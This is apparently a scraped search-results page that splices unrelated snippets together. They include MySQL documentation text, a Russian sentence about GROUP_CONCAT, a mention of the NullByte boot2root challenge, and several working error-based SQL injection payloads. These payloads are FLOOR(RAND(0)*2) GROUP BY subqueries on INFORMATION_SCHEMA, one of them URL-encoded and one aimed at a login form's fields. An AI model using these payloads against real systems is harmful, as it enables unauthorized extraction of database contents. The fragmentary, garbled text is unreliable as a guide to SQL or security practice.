Search results ) OR (SELECT 7000 FROM(SELECT COUNT(*),CONCAT(0x716a627071,(SELECT (ELT(7000=7000,1))),0x71627a7071,FLOOR(RAND(0)*2))x FROM INFO 1-6 from 6 matches Refine search query ».
The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
The boot2root is called NullByte 0x01 and is described as beginner/intermediate level challenge. I thought it was pretty easy, but still a fun challenge
...Cinema+AND+(SELECT+6935+FROM(SELECT+COUNT(*),CONCAT(0x717a626b71,(SELECT+(ELT(6935=6935,1))),0x716a7a6a71,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a).
...(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(rand(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY.
GROUP_CONCAT( ) в Mysql. Сегодня хочу рассказать об интересной функции в Mysql.
cat=2 AND (SELECT 6826 FROM(SELECT COUNT(*),CONCAT(0x3a6274743a,(SELECT (CASE WHEN (6826=6826) THEN 1 ELSE 0 END)),0x3a7870763a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a).
information_schema.tables GROUP BY x)a) AND 'CSnZ'='CSnZ&senha=UCyy&logar=logar.
InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different index.